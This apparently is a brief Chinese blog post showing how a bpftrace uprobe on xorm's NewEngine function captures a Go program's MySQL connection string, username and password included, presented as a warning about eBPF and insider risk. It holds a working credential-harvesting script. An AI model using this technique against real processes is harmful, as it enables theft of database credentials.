用bpftrace窃取Mysql账号密码

前言

记得在360实习的时候,听到过一句话,大部分的安全问题并不是黑客造成的,而是内部人员。
epbf可以避免代码侵入,像桩子一样监控应用,同时也带来了一些安全问题。

下面简单演示一下如何利用bpftrace窃取Mysql的账号密码。

步骤

Go程序

  • 这个程序只是利用xorm连接数据库,然后判断student这张表是否存在,
package main

import (
    "fmt"
    _ "github.com/go-sql-driver/mysql"
    "log"
    "xorm.io/xorm"
)
func main() {
    db, err := xorm.NewEngine("mysql", "root:123456@tcp(127.0.0.1:3306)/testdb?charset=utf8&parseTime=True&loc=Asia%2FShanghai")
    if err != nil {
        log.Fatalln("fail to connect mysql", err)
    }
    fmt.Println(db.IsTableExist("student"))
    db.Close()
}

bpftrace程序

#! /bin/bpftrace
uprobe:./main:"xorm.io/xorm.NewEngine"
{
    printf("参数: %s\n", str(reg("cx"),reg("di")));
}

运行结果

image

so,只要你有root权限,就有可能将各种敏感信息拿到手。
目前Linux内核和ebpf的应用在国内还没有铺开,相信未来会成为安全的挑战之一。

posted @   NetRookieX  阅读(114)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示